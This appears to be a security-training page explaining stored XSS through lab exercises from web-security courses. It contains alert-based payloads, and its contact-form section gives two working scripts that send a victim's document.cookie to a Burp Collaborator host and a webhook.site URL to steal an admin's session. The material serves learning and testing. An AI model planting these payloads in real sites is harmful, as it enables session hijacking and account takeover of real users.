Stored

Stored XSS occurs when malicious scripts are permanently stored on the server and then served to users who view the stored content.

Stored Server XSS

The example below is based on OffSec's WEB-200 course.

The Blog we are testing has two fields: username and comment. When we test the latter for HTML injection it does not work as the <> characters are filtered out by the application (Figure 1). However, the HTML injection works on the username field (Figure 2).

Figure 1: Testing the comment field for HTML injection.
Figure 2: Enumerating a vulnerable to HTML injection field.

Next, we can test for XSS on the username field (Figure 3), and if successful, every user that visits the page will have the payload executed on their browser.

Figure 3: Enumerating a vulnerable to XSS field.

Stored Client XSS

The example below is based on OffSec's WEB-200 course.

This time the application in question has a survey form to complete that includes six fields in total, two of them vulnerable to HTML injection (Figure 4).

Figure 4: Stepping through the application and testing for HTML injection.

If we test for XSS we get a prompt box back (Figure 5.1), and we can review how this exactly works via the source code of survey.js file. At the end of this file, the getData function sends a GET request and constructs the results table on the front-end (Figure 5.2).

Figure 5: Achieving XSS and reviewing how it worked.

href Attribute

The example below is based on PortSwigger's Stored XSS into anchor href attribute with double quotes HTML-encoded lab.

In this application there is a comment functionality which includes a Website field and its value is stored within the HTML href attribute (Figure 6).

Figure 6: Identifying potential XSS vectors.

We can try escaping the tag using different payloads, but, unfortunately, none of them works.

// JaveScript payloads used to escape 
"><script>alert()</script>
"><img src=x onerror=alert()>

However, the href attribute can itself create a scriptable context, thus, we are not required to escape it. In this case, we can use the javascript pseudo-protocol directly (Figure 7).

// JaveScript payloads used
javascript:alert()
Figure 7: Achieving Stored XSS via a URI-scheme based payload.

Contact Form

The example below is based on TCM's Practical Bug Bounty course.

This application has a ticket functionality and it give us access to both a low- (UserA) and a high-privileged account (AdminA) (Figure 8).

Figure 8: Setting up FireFox's Multi-Account Containers for XSS testing.

We can use a web server, such as Burp's Collaborator or Webhook, and use userA to send a JavaScript payload to AdminA through the description box on the Support Ticket page. When the latter receives and opens userA's ticker, a GET request will be sent to our server containing AdminA's session cookie (Figure 9 & 10).

// collaborator payload
<script>
    fetch('https://705jjd45qk9l1pb4rhns097xgomfa5yu.oastify.com',
        {
            method: 'POST',
            mode: 'no-cors',
            body:document.cookie
        });
</script>

// webhook payload
<script>var i = new Image; i.src="https://webhook.site/094ef770-e736-4b31-a3cb-34be690ff1b9/?"+document.cookie</script>
Figure 9: Using Burp's Collaborator to steal the admin's cookie.
Figure 10: Using Webhook to steal the admin's cookie.

Last updated

Was this helpful?